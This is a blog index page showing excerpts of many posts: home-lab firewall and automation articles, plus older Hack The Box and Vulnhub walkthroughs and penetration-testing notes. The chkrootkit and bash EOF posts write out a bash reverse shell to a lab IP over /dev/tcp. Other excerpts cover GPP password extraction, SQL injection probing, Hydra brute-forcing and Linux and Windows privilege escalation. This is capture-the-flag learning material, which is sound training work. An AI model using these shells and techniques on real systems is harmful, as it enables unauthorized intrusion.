Posts on rchitect

Closing the Blind Spots: Access Points, Cameras, and a Self-Hosted Media Server

Mon, 24 Aug 2026 00:00:00 +0000

In the first part of this series, I put a Sophos XGS firewall inline on my home network in bridge mode — log-only, no blocking — just to see what was actually crossing the wire. That post ended on an unfinished note: both Wi-Fi radios in the house sat outside the monitored path, so every wireless device was still invisible to the firewall. I’d picked an Omada access point to fix it, but hadn’t yet proven it would actually do the job.

Building a Comprehensive Network Security Lab: From VMware to Cloud Integration

Fri, 10 Jul 2026 00:00:00 +0000

After 17 years in IT and countless production deployments, I’ve learned that having a proper lab environment isn’t just helpful—it’s essential. Whether you’re testing new Palo Alto policies, validating Zscaler configurations, or experimenting with zero trust architectures, a well-designed lab saves you from career-limiting moves in production.

I’ve built and rebuilt my lab several times over the years, learning hard lessons about what works and what doesn’t. Here’s how to build a comprehensive network security lab that actually mirrors real-world scenarios.

Turning My Home Network Into a Lab: Deploying a Sophos XGS Firewall Behind a Regular ISP Router

Fri, 10 Jul 2026 00:00:00 +0000

I’ve spent over a decade doing this professionally — Palo Alto, Zscaler, Netskope, Illumio, the whole stack — mostly in enterprise environments with clean topologies, dedicated racks, and someone else worrying about the power bill. So when I decided to bring real visibility into my own home network, I expected it to be a quick weekend project.

It wasn’t. And honestly, that’s exactly why I’m writing this post.

Home networks — and small offices, and shop floors — are messy in a very specific way that enterprise networks aren’t. You don’t get to choose where the ISP terminates. You don’t get to run structured cabling through a wall you’re not allowed to drill. You inherit a topology built for convenience, not security, and then you’re asked to bolt real monitoring onto it without breaking anyone’s Netflix. If you do freelance or consulting work for small offices and retail shops, this is precisely the kind of constraint you’ll run into far more often than a textbook enterprise design.

Claude Code Complete Setup Guide: Terminal-Native AI for Network Security Automation

Sat, 21 Mar 2026 15:17:38 +0530

After years of using browser-based AI tools for network security documentation and automation scripts, I’ve found Claude Code to be a game-changer. Unlike the web interface, it runs natively in your terminal with direct file system access and can actually execute tasks on your local machine.

For network engineers dealing with firewall configs, automation scripts, and documentation, this setup transforms how you interact with AI. Instead of copying code snippets back and forth, Claude can read your actual config files, modify them, and even control browsers for testing.

n8n vs Antigravity: Choosing the Right Automation Tool for Network Security Operations

Sat, 21 Mar 2026 14:12:36 +0530

After spending over a decade automating network security operations, I’ve evaluated numerous workflow automation platforms. Two tools that frequently come up in discussions are n8n and Antigravity. Both promise to streamline operations, but they serve distinctly different purposes and audiences. Let me break down the key differences based on my hands-on experience implementing automation solutions across enterprise environments.

Understanding the Fundamental Differences Link to heading

n8n is an open-source workflow automation tool that focuses on connecting different services and APIs through visual workflows. It’s designed for technical teams who want to build custom automation without extensive coding knowledge. Antigravity, on the other hand, is a specialized platform primarily used for data pipeline management and ETL operations, particularly in analytics and business intelligence contexts.

How to create IPS profiles like DDOS protection in BIG IP F5

Sat, 15 Feb 2025 00:00:00 +0000

How to create IPS profiles like DDOS protection in BIG IP F5 Link to heading

F5 has IPS feature which can be configured to prevent DOS attacks.

Refer these tabs to explore these options:

Additionally explore these options too

Search option on static websites like Hugo using Pagefind

Tue, 04 Feb 2025 00:00:00 +0000

This post is about implementing the search option on static websites like Hugo

Configuration and License missing after BIG IP upgrade

Sun, 26 Jan 2025 00:00:00 +0000

The device is not operational because loaded configuration contains error or unlicensed objects Link to heading

F5 upgrade errors Link to heading

During F5 Viprion device software upgrade there could be a chance that after the upgrade the configuration and license does not copy to newly rebooted hard sisk and show below error:

To avoid this before upgrade you have to check the device configuration copy new new Hard disk option is enabled. However few Viprion devices this option is graded out like this:

Github Commands

Thu, 16 Mar 2023 00:00:00 +0000

Useful commands in Github Link to heading

Refer some commands which can be useful while using github

Cloning a folder or directory from github locally Link to heading

To clone this github folder on my Kali Linux.

On linux PC

─(rocky㉿kali)-[~]
└─$ cd gitrepos 
 
┌──(rocky㉿kali)-[~/gitrepos]
└─$ mkdir seclist 
 
┌──(rocky㉿kali)-[~/gitrepos]
└─$ cd seclist 
git clone https://github.com/danielmiessler/SecLists.git 128 ⨯
Cloning into 'SecLists'...
remote: Enumerating objects: 12168, done.
remote: Counting objects: 100% (67/67), done.
remote: Compressing objects: 100% (41/41), done

Vulnhub DC-9

Thu, 16 Mar 2023 00:00:00 +0000

This post is about the Walkthrough of the Vulnhub machine: DC-9

Hackthebox Forest

Wed, 30 Nov 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Forest

gpp-decrypt for password de-crypt

Thu, 15 Sep 2022 00:00:00 +0000

Usage of gpp-decrypt Link to heading

“gpp-decrypt” is a tool built of python3 which can be used for decrypting AD related passwords.

During some of the active directory labs, I could see a “groups.xml” which contain the local admininistartor password in encrypted format. I have used the “gpp-decrypt” to decrypt the password.

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
 . D 0 Sat Jul 21 06:37:44 2018
 .. D 0 Sat Jul 21 06:37:44 2018
 Groups.xml A 533 Wed Jul 18 16:46:06 2018

 5217023 blocks of size 4096. 278651 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml 
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> exit

┌──(rocky㉿kali)-[~/hckbox/Active-1/smb]
└─$ cat Groups.xml 
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

Why this password was shown in this folder: Link to heading

This was due to the Microsoft group policy preference. Due to this settings a sysvol is created with encrypted password of admin. More can be read here.

Powerview usage for privilege escalation

Mon, 18 Jul 2022 00:00:00 +0000

Powerview Script usage for privilege escalation Link to heading

Powerview script can be for enumeration and privilege escalation.

The script can be downloaded from here.

I will explain few scenrios which i have used poweview for enumeration and privilege escalation. Most of times I will upload the file like this to windows( location C:\ProgramData)

Make sure to activate the script by using below command

Import-Module .\PowerView.ps1

Hackthebox Active

Fri, 01 Jul 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Active

Hackthebox Object

Thu, 30 Jun 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Object

Sql injection

Sat, 25 Jun 2022 00:00:00 +0000

Sql Injection Methods Link to heading

How to identify SQL injection Link to heading

Refer below webpage( a smaple hotel reservation website) from the hackthebox machine.

I am going to add ’ and see if there are any erros.

Actual url

http://10.10.10.143/room.php?cod=1

SQL inection tested url

http://10.10.10.143/room.php?cod=1'

There are no errors and the page seems broken. This gives hint for SQL injection vulnarability.

Port 139,445 SMB enumeration

Mon, 20 Jun 2022 00:00:00 +0000

SMB enumeration Link to heading

SMB is application layer protocol. This protocol is used for communication between PCs in same network. SMB mainly used for file transfer.

Here we are going to explian the enumeration techniques can be used for SMB protocol. Firat the below scan confirm the nmap ports are open in a server or not.

sudo nmap -sS -p- -Pn -T4 --min-rate 10000 -oN alltcp.txt 10.10.11.101
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-10 19:46 EDT
Nmap scan report for 10.10.11.101
Host is up (0.048s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Once we see 139,445 ( smb related ports) are open lets try to enumerate more at smb level.

Hackthebox Writer

Sat, 11 Jun 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Writer

Hackthebox Previce

Wed, 08 Jun 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Previce

Hackthebox Knife

Fri, 13 May 2022 00:00:00 +0000

Hackthebox Knife Walkthrough Link to heading

Initial Enumeration Link to heading

Port Scan Link to heading

sudo nmap -sS -p- -Pn -T4 --min-rate 10000 -oN alltcp.txt 10.10.10.242 127 ⨯
sudo nmap -sU -p- -Pn -T4 --min-rate 10000 -oN alludp.txt 10.10.10.242
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-12 20:19 EDT
Nmap scan report for 10.10.10.242
Host is up (0.066s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-12 20:19 EDT
Warning: 10.10.10.242 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.242
Host is up (0.049s latency).
All 65535 scanned ports on 10.10.10.242 are open|filtered (65483) or closed (52)

Nmap done: 1 IP address (1 host up) scanned in 46.51 seconds

Vulnarabilty Scan Link to heading

 nmap -Pn -p 22,80 -sC -sV -oN details.txt 10.10.10.242
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-12 20:41 EDT
Nmap scan report for 10.10.10.242
Host is up (0.044s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds

Directory Scan Link to heading

Website Front end:

phpmyadmin 4.8 exploit

Thu, 28 Apr 2022 00:00:00 +0000

Systemctl privilege escalation

Thu, 28 Apr 2022 00:00:00 +0000

Systemctl (suid enabled) privilege escalation Link to heading

Link to heading

Sceanrio: We have initial shell and during the checks we have found a systemctl file is enabled with SUID bit. refer below:

find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device

As per checking GTFO site, its says as below

Hackthebox Jarvis

Mon, 25 Apr 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Jarvis

Hackthebox Brainfuck

Thu, 14 Apr 2022 00:00:00 +0000

Hackthebox Brainfuck Walkthrough Link to heading

Initial Enumeration Link to heading

Port Scan Link to heading

sudo nmap -sS -p- -Pn -T4 --min-rate 10000 -oN alltcp.txt 10.10.10.17 1 ⨯
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-07 21:40 EDT
Nmap scan report for 10.10.10.17
Host is up (0.051s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https


$ sudo nmap -sU -p- -Pn -T4 --min-rate 10000 -oN alludp.txt 10.10.10.17 1 ⨯
HHost discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-07 21:41 EDT
Nmap scan report for 10.10.10.17
Host is up (0.045s latency).
Not shown: 65532 open|filtered ports
PORT STATE SERVICE
110/udp closed pop3
143/udp closed imap
443/udp closed https

Vulnarability Scan Link to heading

ocky㉿kali)-[~/hckbox/node]
└─$ nmap -Pn -p 22,25,110,143,443 -sC -sV -oN details.txt 10.10.10.17 
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-07 21:43 EDT
Nmap scan report for 10.10.10.17
Host is up (0.042s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA RESP-CODES USER AUTH-RESP-CODE TOP SASL(PLAIN) PIPELINING UIDL
143/tcp open imap Dovecot imapd
|_imap-capabilities: ID LOGIN-REFERRALS more AUTH=PLAINA0001 have listed LITERAL+ capabilities IMAP4rev1 post-login Pre-login SASL-IR OK IDLE ENABLE
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_ http/1.1
| tls-nextprotoneg: 
|_ http/1.1
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

There was a certificate warning on https service. The site looks like below( seems ngnix is running)

lxd group privilege escalation

Thu, 14 Apr 2022 00:00:00 +0000

lxd group privilege escalation Link to heading

Scanrio: As per checking the user privilege , there is one thing which can help us escalating the privilege.User belong lxd group Link to heading

orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

There are some exploits which shows the lxd privileges can be escalated.

On Kali machine: Link to heading

Download and build the alpine image

John the ripper as passowrd cracking tool

Wed, 13 Apr 2022 00:00:00 +0000

John the Ripper for Bruteforcing Link to heading

Case1: The zip passowrd cracking Link to heading

In below case there is zip file which require password to open.

──(rocky㉿kali)-[~/hckbox/node]
└─$ unzip newbackup.zip 
Archive: newbackup.zip
 creating: var/www/myplace/
[newbackup.zip] var/www/myplace/package-lock.json password:

This requires a password and we need to crack the zip with john to get passowrd.

As this is a zip file we need to use the script from John for converting this to a hash value. The scripts are usually located under /usr/share/john

File transfer between Windows,Linux machines

Tue, 05 Apr 2022 00:00:00 +0000

File Transfer between Windows,Linux Machines Link to heading

Method-1- FTP Link to heading

Some time FTP option is enabled with “anonymous” user and password any or blank.

$ ftp 10.10.10.116
Connected to 10.10.10.116.
220 Microsoft FTP Service
Name (10.10.10.116:rocky): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls -al
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> pwd
257 "/" is current directory.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
421 Service not available, remote server has closed connection

┌──(rocky㉿kali)-[~/hckbox/conceal/ftpdump]
└─$ echo "sample file rchitect" > test.txt

┌──(rocky㉿kali)-[~/hckbox/conceal/ftpdump]
└─$ ftp 10.10.10.116 
ftp: connect: Connection timed out
ftp> exit

┌──(rocky㉿kali)-[~/hckbox/conceal/ftpdump]
└─$ ftp 10.10.10.116
ftp: connect: Connection timed out
ftp> ^C
ftp> exit

┌──(rocky㉿kali)-[~/hckbox/conceal/ftpdump]
└─$ ftp 10.10.10.116
Connected to 10.10.10.116.
220 Microsoft FTP Service
Name (10.10.10.116:rocky): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
22 bytes sent in 0.00 secs (477.4305 kB/s)
ftp> exit
221 Goodbye.

Method-2 - SMB Transfer Link to heading

If we have reverse normal shell to the Windows machine, most of the case “SMB transfer” should work

Hackthebox Node

Tue, 05 Apr 2022 00:00:00 +0000

Hackthebox Node Walkthrough Link to heading

Initial Enumeration Link to heading

Port Scan Link to heading

sudo nmap -sS -p- -Pn -T4 --min-rate 10000 -oN alltcp.txt 10.10.10.58 1 ⨯
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-30 19:43 EDT
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 24.10% done; ETC: 19:43 (0:00:09 remaining)
Nmap scan report for 10.10.10.58
Host is up (0.049s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp

$ sudo nmap -sU -p- -Pn -T4 --min-rate 10000 -oN alludp.txt 10.10.10.58 1 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-30 19:57 EDT
Nmap scan report for 10.10.10.58
Host is up.
All 65535 scanned ports on 10.10.10.58 are open|filtered

Vulnarability Scan Link to heading

ocky㉿kali)-[~/hckbox/node]
└─$ nmap -Pn -p 22,3000 -sC -sV -oN details.txt 10.10.10.58
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-30 20:04 EDT
Nmap scan report for 10.10.10.58
Host is up (0.049s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_ Logs: /login
| hadoop-tasktracker-info: 
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see 2 ports open and on port 3000 apache service seems running. This is how the page lookes on port 3000

Nmap timers

Wed, 30 Mar 2022 00:00:00 +0000

What are max retries and min-rate in nmap Link to heading

Max-retries Link to heading

Its mainly used for troubleshooting purpose to confirm the ports open.

Higher the number it will provide accurate results. Lower the number the scan complete fast. If you you put max-retries as 0 it just scan single time and stops.

Command:

nmap -Pn --max-retries 0 -p 80 10.10.10.43

If you are looking for some specific ports, you can try this simple script:

Directory scan to identify the sub domains of website

Tue, 29 Mar 2022 00:00:00 +0000

Directory Scanning to identify the sub domains Link to heading

Using the gobuster fing the sub directories

gobuster dir -u http://10.10.10.88 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.88
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/03/23 20:44:04 Starting gobuster in directory enumeration mode
===============================================================
/webservices (Status: 301) [Size: 316] [--> http://10.10.10.88/webservices/]
/server-status (Status: 403) [Size: 299] 

===============================================================
2022/03/23 21:01:06 Finished
===============================================================###### Login Credentials and Rabithole

As we found one sub directory, always run one more gobuster scan with new subdirectory url to find if any more sub directories are present.

Hackthebox Tartarsauce

Sat, 26 Mar 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Tartarsauce

EOF in bash scripting

Mon, 21 Mar 2022 00:00:00 +0000

How to use EOF in bash scripting Link to heading

As a newbie to scripting, i was using the printf command to input a muti-line script to a file

How i used printf to input a script to file Link to heading

amrois@nineveh:/tmp$ printf '#!/bin/sh\n' > update
amrois@nineveh:/tmp$ printf '/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.9/5555 0<&1"\n' >> update
amrois@nineveh:/tmp$ chmod +x update

How EOF can simplify input of multi-line script to a file Link to heading

cat > /tmp/update << EOF
#!/bin/sh
/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.3/5555 0<&1"
touch /tmp/done1
EOF

View the file now

Bruteforce using Hydra

Sun, 20 Mar 2022 00:00:00 +0000

Bruteforce using Hydra Link to heading

To use Hydra we need to mainly identify 4 Parameters:

<IP Address> = ""

<Login Page> = ""

<Request Body> = ""

<Error Message> =""

To identify these parameters, lets intercept the request with Burp.

Based on the intercepted values, I have filled the values for HTTPS site subdomain

= “10.10.10.43”

= “/db/index.php”

= “^PASS^&login=Log+In&proc_login=true”

=“Incorrect password.”

Now Formulate the bruteforce command using hydra. For using hydra always username is required. In this case we can give any fixed value. Remember to use “https-post-form” as its a ssl website.

Hackthebox Nineveh

Sat, 19 Mar 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Nineveh

Privilege Escalation in Linux

Thu, 17 Mar 2022 00:00:00 +0000

Privilege Escalation for Linux machines before running scripts like linpeas Link to heading

I am trying explain the few commands which i use before i use any privilege escalation scripts like linpeas,linenum etc.

Sudo Privilege Link to heading

Check for any commands which are enabled with Sudo privilege and no password required to run. Remember that some time, you may have to erminate and re-initiate existing session, if no suo command is enabled.

ENV PATH variable update in Linux

Thu, 10 Mar 2022 00:00:00 +0000

ENV PATH Variable update Link to heading

I have recently installed SNAPD and HUGO. But i am unable to run this “hugo version” as the installed folder does not fall under the default /bin or /usr/bin. Refer the error

$ hugo version 127 ⨯
Command 'hugo' is available in '/snap/bin/hugo'
The command could not be located because '/snap/bin' is not included in the PATH environment variable.
hugo: command not found

Default ENV variables

File transfer between Windows and Linux

Thu, 10 Mar 2022 00:00:00 +0000

Cheat sheet for OSCP Link to heading

Reconnaisance Link to heading

Nmap Commands for Port scan Link to heading

The below 2 nmap scan used to find out the TCP ports opened on server

nmap -sT -p- -Pn -T4–min-rate 10000 -oN alltcp1.txt 10.10.10.58( faster)

nmap -sT -p- -Pn -T4–min-rate 10000 -oN alltcp1.txt 10.10.10.58( little slower)

chkrootkit exploit for privilege esclation

Wed, 09 Mar 2022 00:00:00 +0000

Chkrootkit Exploit Link to heading

I have tried pspy and i could see the chkrootkit

Lets search for the exploit

As per this exploit if you create any exploit ,if you create a file named “update” under /tmp.

amrois@nineveh:/tmp$ printf '#!/bin/sh\n' > update
amrois@nineveh:/tmp$ printf '/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.9/5555 0<&1"\n' >> update
amrois@nineveh:/tmp$ chmod +x update

Or You can use EOF to repalce printf command like below

SeImpersonatePrivilege privilege escalation using Juicy Potato

Wed, 09 Mar 2022 00:00:00 +0000

Exploiting ‘‘SeImpersonatePrivilege’ using Juicypotato for privilege escalation Link to heading

Lets take a sceanrio we have initail reverse shell or nomral user shell which requires to be elvated as Administrator.Checking the Privilege of cuurent user we have noticed “SeImpersonatePrivilege” is enabled.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State 
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Windows\SysWOW64\inetsrv>

The below one privilege can be exploited using the [Juicypotato](Release Fresh potatoes · ohpe/juicy-potato · GitHub) for most of the windows machine

IPSEC enumeration using Strongswan

Tue, 08 Mar 2022 00:00:00 +0000

VPN(IKE) enumeration Link to heading

isakmp service( port-500 related to ipsec VPN) only opened on server.There are some inbuilt scanners in Kali linux to enumerate IPSEC VPN

$ ike-scan -M 10.10.10.116 
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.10.116 Main Mode Handshake returned
 HDR=(CKY-R=8ec1706b5f6632a8)
 SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
 VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
 VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
 VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
 VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
 VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
 VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)

Ending ike-scan 1.9.4: 1 hosts scanned in 0.325 seconds (3.08 hosts/sec). 1 returned handshake; 0 returned notify

The tunnel uses IKE-V1 as per above results.To confirm its not running on IKE-V2

Hackthebox Conceal

Mon, 07 Mar 2022 00:00:00 +0000

Hackthebox Conceal Walkthrough Link to heading

Initial Enumeration Link to heading

Port Scan Link to heading

$ sudo nmap -sT -p- -min-rate 10000 -Pn -oN alltcp.txt 10.10.10.116
sudo nmap -sU -p- -min-rate 10000 -Pn -oN alludp.txt 10.10.10.116
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-27 19:46 EST
Nmap scan report for 10.10.10.116
Host is up.
All 65535 scanned ports on 10.10.10.116 are filtered

Nmap done: 1 IP address (1 host up) scanned in 130.18 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-27 19:48 EST
Nmap scan report for 10.10.10.116
Host is up (0.16s latency).
Not shown: 65534 open|filtered ports
PORT STATE SERVICE
500/udp open isakmp

Nmap done: 1 IP address (1 host up) scanned in 14.25 seconds

I have decided to run the Autorecon script as well to confirm i have not missed anything. It took longer time(more than 40min). I could see and additinal udp port 161 as well.Full results are uploaded [here](Rchitect/_top_100_udp_nmap.txt at Yoda · tcprks/Rchitect · GitHub). There 2 services to enumerate( SNMP and ISAKMP)

Memory Dump Analysis usining Volatility3

Sun, 27 Feb 2022 00:00:00 +0000

Memory Dump Analysis-Volatility3 Link to heading

We have memeory dump file which we will use Volatility3 for analysis for sensitive information like username/process

There is tool Volatility to analayze the mempry dump. However in previous blogs posts it was Volatility2 which was working with python2 and after searching i have found volatility3 which works with python3.

git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 setup.py install
python3 vol.py —h
Cloning into 'volatility3'...
remote: Enumerating objects: 26002, done.
remote: Counting objects: 100% (3001/3001), done.
remote: Compressing objects: 100% (1021/1021), done.
remote: Total 26002 (delta 2253), reused 2596 (delta 1968), pack-reused 23001
Receiving objects: 100% (26002/26002), 5.14 MiB | 200.00 KiB/s, done.


Volatility 3 Framework 2.0.2
usage: volatility [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]] [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG] [-o OUTPUT_DIR] [-q]
 [-r RENDERER] [-f FILE] [--write-config] [--clear-cache] [--cache-path CACHE_PATH] [--offline] [--single-location SINGLE_LOCATION]
 [--stackers [STACKERS ...]] [--single-swap-locations [SINGLE_SWAP_LOCATIONS ...]]
 plugin ...
